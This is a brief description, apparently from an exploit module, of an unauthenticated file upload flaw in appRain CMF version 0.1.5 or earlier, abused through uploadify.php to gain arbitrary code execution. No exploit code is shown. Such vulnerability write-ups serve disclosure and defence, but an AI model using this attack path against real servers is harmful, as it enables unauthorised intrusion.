     This module exploits a vulnerability found in appRain's Content Management
    Framework (CMF), version 0.1.5 or less.  By abusing the uploadify.php file, a
    malicious user can upload a file to the uploads/ directory without any
    authentication, which results in arbitrary code execution.
